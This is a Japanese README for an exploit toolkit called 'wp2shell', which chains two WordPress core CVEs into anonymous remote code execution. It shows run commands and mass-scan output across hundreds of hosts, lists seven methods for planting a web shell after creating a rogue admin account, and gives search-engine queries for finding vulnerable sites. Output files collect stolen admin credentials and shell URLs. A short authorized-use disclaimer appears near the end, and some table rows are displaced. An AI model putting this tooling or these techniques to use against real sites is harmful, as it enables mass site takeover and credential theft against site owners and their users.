
WordPress Core Pre-Auth RCE — バッチルート混乱 + SQLインジェクション
CVE-2026-63030(バッチルート混乱)+ CVE-2026-60137(SQLインジェクション)
WordPress コアの wp2shell 脆弱性チェーン向けの、依存関係ゼロのエクスプロイトツールキットです。プラグインが不要なデフォルトの WordPress インストールに対し、単一の匿名 HTTP リクエストでリモートコード実行を達成します。
| 範囲 | 影響 | 修正バージョン |
|---|---|---|
| 7.0.0 – 7.0.1 | フルRCE | 7.0.2 |
| 6.9.0 – 6.9.4 | フルRCE |
プラグインや特別な設定は不要です。 素の WordPress インストールでも悪用可能です。
┌─────────────────────────────────────┐
│ ANONYMOUS HTTP REQUEST │
│ POST /?rest_route=/batch/v1 │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-63030: Batch Desync │
│ Malformed path → WP_Error → │
│ Array misalignment → Auth Bypass │
└────────────────┬────────────────────┘
│
┌────────────────▼────────────────────┐
│ CVE-2026-60137: SQL Injection │
│ author__not_in → unsanitized → │
│ UNION SELECT extraction │
└────────────────┬────────────────────┘
│
┌───────────┼───────────┐
│ │ │
┌────▼────┐ ┌───▼────┐ ┌───▼──────────┐
│ oEmbed │ │ Blind │ │ Changeset │
│ Seeding │ │ SQLi │ │ Re-entrancy │
│ Write │ │ Read │ │ Escalation │
│ Cache │ │ IDs │ │ → Admin User │
└────┬────┘ └───┬────┘ └───┬──────────┘
│ │ │
└───────────┼───────────┘
│
┌────────────────▼────────────────────┐
│ ADMIN CREATED (pre-auth!) │
│ → Login → Upload Shell (7 methods) │
└─────────────────────────────────────┘
pip install requests
python exploit.py
╔══════════════════════════════════════════════════════════════╗
║ WP2SHELL — WordPress Core Pre-Auth RCE Exploit ║
║ CVE-2026-63030 (Batch Route Confusion) + CVE-2026-60137 ║
║ Affected: WP 6.9.0 – 7.0.1 | Fixed: 6.9.5 / 7.0.2 ║
╚══════════════════════════════════════════════════════════════╝
[?] Target [url/list.txt] > list.txt
[?] Threads [15] > 15
python exploit.py
[?] Target [url/list.txt] > https://vulnerable-site.com
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 1 Threads : 1 Dir : wp_core_rce│
└────────────────────────────────────────────────────────┘
┌────────────────────────────────────────────────────────┐
│ EXPLOIT SUCCESS │
├────────────────────────────────────────────────────────┤
│ Method : direct-plugin │
│ Shell : https://target.com/wp-content/plugins/... │
│ Login : https://target.com/wp-login.php │
│ User : wp2s_abc123def │
│ Pass : WP2S!xxxxxxxxxxxxxxxx │
└────────────────────────────────────────────────────────┘
python exploit.py
┌────────────────────────────────────────────────────────┐
│ SCAN CONFIGURATION │
├────────────────────────────────────────────────────────┤
│ Targets : 500 Threads : 15 Dir : wp_core_rce │
└────────────────────────────────────────────────────────┘
┌────────────┬────────────────────────────────────────┬──────────────┐
│ │ │ │
│ #/TOTAL │ HOST │ STATUS │
├────────────┼────────────────────────────────────────┼──────────────┤
│ 1/500 │ vulnerable-site.com │ SHELL │
│ │ ↳ direct-plugin → https://vulnerabl... │
│ 2/500 │ target2.com │ ADM │
│ 3/500 │ safe-site.org │ SQLi │
│ 4/500 │ nope.com │ NO │
│ 5/500 │ jackpot.net │ SHELL │
│ │ ↳ theme-editor → https://jackpot.ne... │
└────────────┴────────────────────────────────────────┴──────────────┘
┌────────────────────────────────────────────────────────┐
│ SHELL 2 ADMIN 3 SQLi 15 TOTAL 50/500│
└────────────────────────────────────────────────────────┘
├────────────────────────────────────────────────────────┤
│ result.txt │ admin credentials │
│ result_upload.txt │ shell upload URLs │
│ log/scanned.txt │ scanned hosts │
└────────────────────────────────────────────────────────┘
requests はエキスパンダー専用)log/scanned.txt でスキャン済みターゲットをスキップ7つのメソッドはすべて ThreadPoolExecutor 経由で並列実行されます。最初に成功したメソッドが優先され、残りはキャンセルされます。
メディアアップロードの拡張子: .phtml .php5 .php7 .php8 .pht .phar .shtml .php4 .phps .phtm .Php5 .PhP5 .pHtml .phP .PHP
試行されるFTP認証情報: localhost / 127.0.0.1 と root / www-data / WordPress 管理者認証情報
| ファイル | 内容 |
|---|---|
result.txt | 管理者認証情報: url.com/wp-login.php:user:pass |
result_upload.txt | シェルURL: shell_url | login_url:user:pass | method |
log/scanned.txt | スキャン済みの全ホスト(再実行時は自動スキップ) |
http.title:"WordPress"
http.component:"WordPress"
app="WordPress"
body="wp-json"
body="/batch/v1"
app:"WordPress"
"/wp-json/batch/v1"
services.http.response.body:"/wp-json/batch/v1"
このツールは許可されたセキュリティ研究および侵入テスト専用に提供されます。所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。著者は不正使用に対する一切の責任を負いません。
MITライセンス。詳細は LICENSE を参照してください。
| 6.9.5 |
| 6.8.0 – 6.8.5 | SQLiのみ | 6.8.6 |
| # | メソッド | 説明 |
|---|
| 1 | direct-plugin | /wp-admin/plugin-install.php 経由でzipをアップロード |
| 2 | direct-theme | /wp-admin/theme-install.php 経由でzipをアップロード |
| 3 | rest-api | 認証Cookie付きで /wp-json/wp/v2/plugins にzipをPOST |
| 4 | plugin-editor | /wp-admin/plugin-editor.php 経由でPHPを直接書き込み |
| 5 | theme-editor | アクティブテーマのディレクトリにPHPを書き込み |
| 6 | ftp-bypass | WordPressが要求したときにFTP認証情報を送信 |
| 7 | media-upload | 15種類の拡張子バリエーションでメディアライブラリ経由のPHPアップロード |